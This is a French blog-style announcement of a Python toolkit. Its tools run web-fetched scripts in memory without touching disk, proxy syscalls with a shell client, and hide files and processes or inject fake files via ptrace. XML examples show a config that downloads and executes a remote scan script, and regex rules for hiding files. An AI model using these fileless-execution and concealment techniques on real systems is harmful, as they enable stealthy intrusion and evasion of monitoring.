Pack Istari (Python 2.5) :
Alatar regroupe deux outils, un premier qui permet d'exécuter des classes python totalement en mémoire. C'est à dire récupérer des scripts python sur des serveurs webs, et pouvoir les exécuter par la suite sans que ceux ci ne soit écrit sur le disque. La liste des modules à récupérer, des objets à créer, des fonctions à exécuter, est faite dans un fichier xml.
Le second outil est un serveur de syscall proxy qui se contente d'exécuter les différents syscalls demandés, et de retourner les résultats.
Palando est la partie cliente du syscall proxy, il permet d'interpréter les résultats des syscalls de Alatar, donc de les traiter pour l'utilisateur. Il embarque également un client de syscall proxy sous forme de shell !
Aiwendil permet de réutiliser certaines fonctionnalitées du monitoring de Olorin (pas présent dans le pack), mais en les détournant pour par exemple cacher des fichiers, des processus etc. Mais aussi la possibilité de créer des fichiers totalement en mémoire, sans persistance sur le disque. Tout ca via une configuration dans un fichier xml.
La configuration de Aiwendil se fait dans le fichier aiwendil.xml qui décrit les différents actions à faire. On cache des fichiers avec la balise hidefiles, qui peut prendre en argument des expressions regulières. Par exemple pour cacher un fichier :
<hidefiles name="hidefiles"^>^nomdufichier$</hidefiles>Pour cacher plusieurs fichiers :
<hidefiles name="hidefiles">emul mod ^aiwendil.py$</hidefiles>
mr@zion:~/olorin$ mkdir /tmp/aiwendil mr@zion:~/olorin$ touch /tmp/aiwendil/emulXXX mr@zion:~/olorin$ touch /tmp/aiwendil/eeemulXXX mr@zion:~/olorin$ touch /tmp/aiwendil/toto mr@zion:~/olorin$ touch /tmp/aiwendil/modalite
<injectfile name="blah"> <base>/ 2</base> <dev>1</dev> <inode>1330907</inode> <mode>16877</mode> <nlink>1</nlink> <uid>1000</uid> <gid>1000</gid> <mtime>1217316588 0</mtime> <content>ce fichier est un fake !!</content> </injectfile>ou
<injectfile name="roswell"> <dev>1</dev> <base>/ 2</base> <inode>1330906</inode> <mode>33188</mode> <nlink>1</nlink> <uid>0</uid> <gid>0</gid> <mtime>1217316588 0</mtime> <content>la verite est ailleurs ... !!</content> </injectfile>
La premième fonctionnalité de Alatar permet d'exécuter des scripts python en mémoire, pour cela tout est décrit dans une fichier xml :
<?xml version="1.0"?> <parent id="alatar"> <injectmodule name="Scan"> <url>http://www.mywebsite.com/scan.py</url> <type>source</type> </injectmodule> <createobject name="Scan80"> <class>Scan</class> <module>Scan</module> </createobject> <execcfunc name="run"> <obj>Scan80</obj> <param>127.0.0.1 80</param> <typeparam>str int</typeparam> </execcfunc> </parent>Les sources peuvent être éparpiller sur différents sites webs, il suffit de rajouter plusieurs fois à la suite la balise url. Ensuite la méthode d'exécution d'un script est la même, on décrit d'abord l'objet que l'on souhaite créer et ensuite les méthodes que l'on veut lancer.
Tous ces projets utilisent python-ptrace, qui a été fait par Victor Stinner (merci à lui).
Download them !